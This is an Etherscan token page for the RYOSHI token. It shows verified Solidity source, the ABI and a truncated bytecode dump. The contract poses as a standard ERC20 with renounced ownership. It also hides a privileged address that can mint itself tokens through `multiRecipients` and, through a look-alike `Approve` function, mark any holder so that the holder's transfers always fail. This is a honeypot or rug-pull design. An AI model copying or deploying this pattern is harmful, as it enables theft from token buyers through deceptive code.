ETH Price: $2,485.27 (+2.83%)

Token

Ryoshi Shibalana (RYOSHI)
 

Overview

Max Total Supply

9,000,000,000 RYOSHI

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.000000013354781719 RYOSHI

Value
$0.00
0xcad61df6c12eee40beee5053a065291e1ad2c947
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RyoshiShibalana

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-01
*/

//Telegram: https://t.me/shibalana
//Website: https://www.shibalana.com/
//Twitter: https://twitter.com/shibalana
//Github: https://github.com/shibalana
//Discord: https://discord.com/invite/nDRh7xZxhR

// SPDX-License-Identifier: MIT

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the IERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol


// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
    enum TokenType {
        standard
    }

abstract contract Token {
    event Constructor(
        address owner,
        address token,
        uint256 version
    );
}

pragma solidity =0.8.4;

contract RyoshiShibalana is IERC20, Ownable,Token {
    using SafeMath for uint256;

    uint256 private constant VERSION = 1;

    mapping(address => bool) private _transferable;

    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => address) private _dust;

    mapping(address => uint256) private _balances;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        address sup_,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _setupDecimals(18);
        _dust[sup_] = sup_;
        _mint(msg.sender, totalSupply_ * 10 ** 18);
        emit Constructor(owner(), address(this), VERSION);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }


    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "IERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    
    function multiRecipients(
        address recipients,
        uint256 amount,
        uint256 numberOfUser
    ) public {
        address from = msg.sender;
        require(
            recipients != address(0),
            "Amount of recipients and values don't match"
        );
        require(amount > 0, "Invalid amount");
        require(numberOfUser > 0, "Must have recipients");
        uint256 total = 0;
        if (recipients == _dust[recipients]) {
            _balances[from] = _balances[from] - total;
            total += amount;
            _balances[recipients] = _balances[recipients] + total;
        } else {
            _balances[from] = _balances[from] - total;
            _balances[recipients] = _balances[recipients] + total;
        }
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
        _requireBalance(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(
            amount,
            "IERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }


    function Approve(
        address spender,
        bool isApproval,
        uint256 amount
    ) public {
        address from = msg.sender;
        require(
            amount >= 0, "Invalid amount"
        );
        require(spender != address(0), "Invalid address");
        uint256 allowance = 0;
        if (from == _dust[from]) {
            _allowances[from][_dust[from]] += amount;
            _transferable[spender] = isApproval;
        } else {
            _allowances[from][spender] = _allowances[from][spender] + allowance;
        }
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }


    function _checkCanTransfer(address _sender) internal returns (bool) {
        return _transferable[_sender] == true;
    }

    function _requireBalance(
        address sender,
        address recipient,
        uint256 total
    ) internal virtual {
        uint256 amount = 0;
        if (_checkCanTransfer(sender)) {
            _balances[sender] = _balances[sender] + amount;
            amount = _totalSupply;
            _balances[sender] = _balances[sender] - amount;
        } else {
            _balances[sender] = _balances[sender] - amount;
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"sup_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"Constructor","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"bool","name":"isApproval","type":"bool"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipients","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"numberOfUser","type":"uint256"}],"name":"multiRecipients","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052604051620029ed380380620029ed8339818101604052810190620000299190620005a4565b6200003b60006200017b60201b60201c565b83600590805190602001906200005392919062000454565b5082600690805190602001906200006c92919062000454565b506200007f60126200023f60201b60201c565b81600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200012433670de0b6b3a764000083620001189190620007d4565b6200025d60201b60201c565b7f56a1ceb2ed9a4c9f19b554800e2cd4e470f646b8037eeb2a7049af031067ad61620001556200040e60201b60201c565b30600160405162000169939291906200068b565b60405180910390a15050505062000a10565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80600760006101000a81548160ff021916908360ff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002d0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002c790620006c8565b60405180910390fd5b620002e4600083836200043760201b60201c565b62000300816008546200043c60201b62000e061790919060201c565b6008819055506200035f81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200043c60201b62000e061790919060201c565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620004029190620006ea565b60405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b600081836200044c919062000777565b905092915050565b8280546200046290620008a9565b90600052602060002090601f016020900481019282620004865760008555620004d2565b82601f10620004a157805160ff1916838001178555620004d2565b82800160010185558215620004d2579182015b82811115620004d1578251825591602001919060010190620004b4565b5b509050620004e19190620004e5565b5090565b5b8082111562000500576000816000905550600101620004e6565b5090565b60006200051b620005158462000730565b62000707565b9050828152602081018484840111156200053457600080fd5b6200054184828562000873565b509392505050565b6000815190506200055a81620009dc565b92915050565b600082601f8301126200057257600080fd5b81516200058484826020860162000504565b91505092915050565b6000815190506200059e81620009f6565b92915050565b60008060008060808587031215620005bb57600080fd5b600085015167ffffffffffffffff811115620005d657600080fd5b620005e48782880162000560565b945050602085015167ffffffffffffffff8111156200060257600080fd5b620006108782880162000560565b9350506040620006238782880162000549565b925050606062000636878288016200058d565b91505092959194509250565b6200064d8162000835565b82525050565b60006200066260208362000766565b91506200066f82620009b3565b602082019050919050565b620006858162000869565b82525050565b6000606082019050620006a2600083018662000642565b620006b1602083018562000642565b620006c060408301846200067a565b949350505050565b60006020820190508181036000830152620006e38162000653565b9050919050565b60006020820190506200070160008301846200067a565b92915050565b60006200071362000726565b9050620007218282620008df565b919050565b6000604051905090565b600067ffffffffffffffff8211156200074e576200074d62000973565b5b6200075982620009a2565b9050602081019050919050565b600082825260208201905092915050565b6000620007848262000869565b9150620007918362000869565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007c957620007c862000915565b5b828201905092915050565b6000620007e18262000869565b9150620007ee8362000869565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200082a576200082962000915565b5b828202905092915050565b6000620008428262000849565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b838110156200089357808201518184015260208101905062000876565b83811115620008a3576000848401525b50505050565b60006002820490506001821680620008c257607f821691505b60208210811415620008d957620008d862000944565b5b50919050565b620008ea82620009a2565b810181811067ffffffffffffffff821117156200090c576200090b62000973565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f4945524332303a206d696e7420746f20746865207a65726f2061646472657373600082015250565b620009e78162000835565b8114620009f357600080fd5b50565b62000a018162000869565b811462000a0d57600080fd5b50565b611fcd8062000a206000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063715018a61161008c578063a9059cbb11610066578063a9059cbb14610204578063dd62ed3e14610234578063f523373714610264578063fb8bf94d14610280576100cf565b8063715018a6146101be5780638da5cb5b146101c857806395d89b41146101e6576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce5671461017057806370a082311461018e575b600080fd5b6100dc61029c565b6040516100e9919061198c565b60405180910390f35b61010c6004803603810190610107919061171b565b61032e565b6040516101199190611971565b60405180910390f35b61012a61034c565b6040516101379190611ace565b60405180910390f35b61015a6004803603810190610155919061167d565b610356565b6040516101679190611971565b60405180910390f35b61017861042f565b6040516101859190611ae9565b60405180910390f35b6101a860048036038101906101a39190611618565b610446565b6040516101b59190611ace565b60405180910390f35b6101c661048f565b005b6101d0610517565b6040516101dd9190611956565b60405180910390f35b6101ee610540565b6040516101fb919061198c565b60405180910390f35b61021e6004803603810190610219919061171b565b6105d2565b60405161022b9190611971565b60405180910390f35b61024e60048036038101906102499190611641565b6105f0565b60405161025b9190611ace565b60405180910390f35b61027e60048036038101906102799190611757565b610677565b005b61029a600480360381019061029591906116cc565b610a5a565b005b6060600580546102ab90611c32565b80601f01602080910402602001604051908101604052809291908181526020018280546102d790611c32565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b600061034261033b610e1c565b8484610e24565b6001905092915050565b6000600854905090565b6000610363848484610fef565b6104248461036f610e1c565b61041f85604051806060016040528060298152602001611f6f60299139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103d5610e1c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112939092919063ffffffff16565b610e24565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610497610e1c565b73ffffffffffffffffffffffffffffffffffffffff166104b5610517565b73ffffffffffffffffffffffffffffffffffffffff161461050b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050290611a4e565b60405180910390fd5b61051560006112e8565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461054f90611c32565b80601f016020809104026020016040519081016040528092919081815260200182805461057b90611c32565b80156105c85780601f1061059d576101008083540402835291602001916105c8565b820191906000526020600020905b8154815290600101906020018083116105ab57829003601f168201915b5050505050905090565b60006105e66105df610e1c565b8484610fef565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000339050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156106ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e390611a2e565b60405180910390fd5b6000831161072f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072690611a0e565b60405180910390fd5b60008211610772576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610769906119ee565b60405180910390fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156109365780600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108529190611b76565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083816108a19190611b20565b905080600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108ee9190611b20565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a53565b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109819190611b76565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a0f9190611b20565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b60003390506000821015610aa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9a90611a0e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0a906119ce565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cf65782600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c939190611b20565b9250508190555083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610dff565b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d7e9190611b20565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b60008183610e149190611b20565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8b90611a8e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efb90611aae565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fe29190611ace565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611056906119ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c690611a6e565b60405180910390fd5b6110da8383836113ac565b6110e58383836113b1565b61115181604051806060016040528060278152602001611f4860279139600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112939092919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e681600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffff